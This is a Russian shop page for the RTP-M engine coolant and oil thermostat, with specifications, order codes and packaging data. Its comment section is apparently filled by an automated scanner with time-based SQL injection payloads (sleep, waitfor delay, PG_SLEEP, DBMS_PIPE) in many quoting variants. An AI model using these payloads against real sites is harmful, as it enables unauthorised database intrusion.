Профессиональная консультация

Вы можете получить все интересующие вас сведения о контрольно-измерительных приборах и автоматике у наших высококлассных консультатнтов!

Купить РТП-М для систем автоматического регулирования t охлаждающей жидкости, смазочного масла двс.

РТП-М для систем автоматического регулирования t охлаждающей жидкости, смазочного масла двс.

Быстрый заказ

Цена

от 17 700 руб.

  • Технические характеристики
  • Вопросы и комментарии (66)


Описание прибора:
Регулятор прямого действия недистанционный РТП предназначен для систем автоматического регулирования температуры охлаждающей жидкости, смазочного масла двигателей внутреннего сгорания.
Область применения терморегуляторов РТП-М - стационарные, судовые, тепловозные и промышленные дизели, газовые двигатели, газомотокопрессоры.Термочувствительным элементом в регуляторе являются датчики температуры с твёрдым наполнителем типа ТДМ. Материал корпуса БрОЗЦ7С5Н1.


Технические параметры прибора:

Наименование

Значения

Диаметр условного прохода, мм

65; 80; 100; 125; 150

Значения фиксированной настройки, °C

35; 45; 50; 55; 60; 65; 70; 75; 80; 85; 90; 95

Условное давление регулируемой среды, МПа

1,0

Зона пропорциональности, °C, не более

10

Зона нечувствительности, °C, не более

3

Постоянная времени, с, не более

100

Масса, кг, не более, соответственно

33; 42; 50; 75; 100

Присоединительные размеры фланцев по ГОСТ 1536-76
Материал корпуса БрО3Ц7С5Н1.
Коды исполнений

Обозначение

Обозначение ТУ

Код ОКП для исполнений

Обыкновенное

Экспортное

Тропическое

РТП-65-1М

25.02.092101-78

42 1881 0732

42 1881 1412

42 1881 1512

РТП-80-М

25.02.092168-80

42 1881 0745

42 1881 1425

42 1881 1525

РТП-100-М

42 1881 0756

42 1881 1436

42 1881 1536

РТП-125-М

42 1881 0767

42 1881 1447

42 1881 1547

РТП-150-М

42 1881 0778

42 1881 1458

42 1881 1558

Габаритные размеры упаковки и масса

Модель

Масса, кг

Габаритные размеры, мм.

прибора

в упаковке

L

B

H

РТП-65-1М

33

38,3

538

317

222

РТП-80М

42

49,4

602

412

269

РТП-100М

50

57,4

РТП-125М

75

 93,5

659

322

РТП-150М

100

116,2

716

482

352

Пример записи при заказе терморегулятора РТП-65-1М с значением фиксированной настройки 75°С, с корпусом из бронзы: "Терморегулятор РТП-65-75-1М с корпусом из бронзы ТУ 25-02.092101-78. Пример записи обозначения датчика исполнения 7 с температурой фиксированной настройки 65°С при его заказе: "Датчик температуры ТД7М-65 ТУ 25-7617.0001-91 









555 GRLpGpAG — 17.04.2024 | 22:20

555 GRLpGpAG — 17.04.2024 | 22:21

555 GRLpGpAG — 17.04.2024 | 22:22

555 GRLpGpAG — 17.04.2024 | 22:22

555 GRLpGpAG — 17.04.2024 | 22:22

555 GRLpGpAG — 17.04.2024 | 22:22

555 GRLpGpAG — 17.04.2024 | 22:22

555 GRLpGpAG — 17.04.2024 | 22:22

555 GRLpGpAG — 17.04.2024 | 22:23

555 GRLpGpAG — 17.04.2024 | 22:23

555 GRLpGpAG — 17.04.2024 | 22:24

555 GRLpGpAG — 17.04.2024 | 22:24

555 GRLpGpAG — 17.04.2024 | 22:25

555 GRLpGpAG — 17.04.2024 | 22:25

555 GRLpGpAG — 17.04.2024 | 22:26

555 GRLpGpAG — 17.04.2024 | 22:26

555 GRLpGpAG — 17.04.2024 | 22:27

555 GRLpGpAG — 17.04.2024 | 22:27

555 GRLpGpAG — 17.04.2024 | 22:28

555 GRLpGpAG — 17.04.2024 | 22:28

555 GRLpGpAG — 17.04.2024 | 22:29

555 GRLpGpAG — 17.04.2024 | 22:29

555 GRLpGpAG — 17.04.2024 | 22:30

555 GRLpGpAG — 17.04.2024 | 22:30

555 GRLpGpAG — 17.04.2024 | 22:30

555 GRLpGpAG — 17.04.2024 | 22:31

nVlqT2GM GRLpGpAG — 17.04.2024 | 22:31

-1 OR 2+145-145-1=0+0+0+1 -- GRLpGpAG — 17.04.2024 | 22:31

-1 OR 2+447-447-1=0+0+0+1 GRLpGpAG — 17.04.2024 | 22:31

-1' OR 2+205-205-1=0+0+0+1 -- GRLpGpAG — 17.04.2024 | 22:31

-1' OR 2+659-659-1=0+0+0+1 or 'rsNvkcmt'=' GRLpGpAG — 17.04.2024 | 22:31

-1" OR 2+179-179-1=0+0+0+1 -- GRLpGpAG — 17.04.2024 | 22:31

if(now()=sysdate(),sleep(15),0) GRLpGpAG — 17.04.2024 | 22:32

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z GRLpGpAG — 17.04.2024 | 22:32

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z GRLpGpAG — 17.04.2024 | 22:33

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ GRLpGpAG — 17.04.2024 | 22:33

-1; waitfor delay '0:0:15' -- GRLpGpAG — 17.04.2024 | 22:34

-1); waitfor delay '0:0:15' -- GRLpGpAG — 17.04.2024 | 22:34

1 waitfor delay '0:0:15' -- GRLpGpAG — 17.04.2024 | 22:35

cJjXel5i'; waitfor delay '0:0:15' -- GRLpGpAG — 17.04.2024 | 22:35

-5 OR 122=(SELECT 122 FROM PG_SLEEP(15))-- GRLpGpAG — 17.04.2024 | 22:35

-5) OR 463=(SELECT 463 FROM PG_SLEEP(15))-- GRLpGpAG — 17.04.2024 | 22:36

-1)) OR 567=(SELECT 567 FROM PG_SLEEP(15))-- GRLpGpAG — 17.04.2024 | 22:36

bvmRGMqs' OR 311=(SELECT 311 FROM PG_SLEEP(15))-- GRLpGpAG — 17.04.2024 | 22:37

P2fhz69m') OR 563=(SELECT 563 FROM PG_SLEEP(15))-- GRLpGpAG — 17.04.2024 | 22:37

QL5s0bg8')) OR 175=(SELECT 175 FROM PG_SLEEP(15))-- GRLpGpAG — 17.04.2024 | 22:38

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) GRLpGpAG — 17.04.2024 | 22:38

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' GRLpGpAG — 17.04.2024 | 22:39

555 GRLpGpAG — 17.04.2024 | 22:39

555 GRLpGpAG — 17.04.2024 | 22:40

555 1iUSgfDm — 17.04.2024 | 22:40

555 -1 OR 2+472-472-1=0+0+0+1 -- — 17.04.2024 | 22:40

555 -1 OR 2+665-665-1=0+0+0+1 — 17.04.2024 | 22:40

555 -1' OR 2+444-444-1=0+0+0+1 -- — 17.04.2024 | 22:40

555 -1' OR 2+882-882-1=0+0+0+1 or 'W1NSOv3o'=' — 17.04.2024 | 22:40

555 -1" OR 2+133-133-1=0+0+0+1 -- — 17.04.2024 | 22:40

555 if(now()=sysdate(),sleep(15),0) — 17.04.2024 | 22:41

555 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z — 17.04.2024 | 22:41

555 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z — 17.04.2024 | 22:42

555 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ — 17.04.2024 | 22:42

555 1 waitfor delay '0:0:15' -- — 17.04.2024 | 22:43

555 STlrKFjR'; waitfor delay '0:0:15' -- — 17.04.2024 | 22:43

555 ILRUZhJF' OR 782=(SELECT 782 FROM PG_SLEEP(15))-- — 17.04.2024 | 22:43

555 5rB3t9Kv') OR 511=(SELECT 511 FROM PG_SLEEP(15))-- — 17.04.2024 | 22:44

555 g2G6EdYq')) OR 685=(SELECT 685 FROM PG_SLEEP(15))-- — 17.04.2024 | 22:44

555 GRLpGpAG'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' — 17.04.2024 | 22:45

Ваш вопрос или комментарий